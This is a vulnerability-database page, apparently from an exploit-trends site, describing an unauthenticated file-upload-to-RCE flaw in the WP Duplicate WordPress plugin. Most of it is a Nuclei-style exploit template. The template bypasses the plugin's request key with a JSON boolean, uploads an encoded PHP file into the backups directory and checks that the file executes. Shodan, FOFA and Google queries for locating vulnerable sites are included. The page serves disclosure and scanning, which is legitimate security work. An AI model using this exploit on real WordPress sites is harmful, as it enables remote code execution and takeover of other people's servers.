CVE-2026-123751: WP Duplicate <= 1.1.11 - Unauthenticated File Upload to RCE

2026-11-29 PoC Public

Description

WP Duplicate (local-sync) through 1.1.11 accepts a JSON boolean in place of its stored request key because of a loose comparison, then permits an unauthenticated request to upload a PHP file into the executable local_sync backups directory when the plugin is configured.

Details

CVE
CVE-2026-123751 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-123751

info:
  name: WP Duplicate <= 1.1.11 - Unauthenticated File Upload to RCE
  author: theamanrawat
  severity: critical
  description: |
    WP Duplicate (local-sync) through 1.1.11 accepts a JSON boolean in place of its stored request key because of a loose comparison, then permits an unauthenticated request to upload a PHP file into the executable local_sync backups directory when the plugin is configured.
  impact: |
    An unauthenticated attacker can execute PHP code on the WordPress server and potentially take control of the site.
  remediation: |
    Remove WP Duplicate until a fixed release is available, and inspect wp-content/uploads/local_sync/backups/ for unexpected PHP files.
  reference:
    - https://wpscan.com/vulnerability/3a3556f0-fc36-4f68-b826-406a7b4c3f9e/
    - https://github.com/tempiltin/Duplicate2Shell-CVE-2026-123751
    - https://nvd.nist.gov/vuln/detail/CVE-2026-123751
    - https://wordpress.org/plugins/local-sync/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-123751
    epss-score: 0.03876
    epss-percentile: 0.90984
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    vendor: revmakx
    product: local-sync
    framework: wordpress
    shodan-query: 'http.html:"/wp-content/plugins/local-sync/"'
    fofa-query: 'body="/wp-content/plugins/local-sync/"'
    google-query: inurl:"/wp-content/plugins/local-sync/"
  tags: cve,cve2026,wordpress,wp-plugin,file-upload,rce,unauth,intrusive,vuln,vkev

variables:
  marker: "CVE-2026-123751"
  filename: "{{randstr}}.php"
  file_data: "78dab3b12fc82850484dcec857c84d31d550770e73d535323032d335343236373554d7b42ecdcbc9cccbd6888f77f3f4718d8fd7b4b6b7030096650eee"

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/local-sync/README.txt"

    matchers:
      - type: dsl
        dsl:
          - contains(body, "WP Duplicate - WordPress Migration Plugin")
          - compare_versions(version, "<= 1.1.11")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /?x=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain

        {{base64(concat('{"is_local_sync":true,"action":"handle_upload_single_big_file","prod_key_random_id":true,"file_name":"', filename, '","file_data":"', file_data, '","start_range":0,"end_range":0}'))}}

    matchers:
      - type: word
        part: body
        words:
          - "save_single_big_file_success"
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/local_sync/backups/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, md5(marker))'
        condition: and
# digest: 490a00463044022053b5afd61d5267ab03106864daac3c17a4871ab6230cd461ae433a29ebdb9b1e02201bf1d4e16c2cc91d7368e561b839fcfd3ac1d9a80b529c3e0bdc5041bc1803e5:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life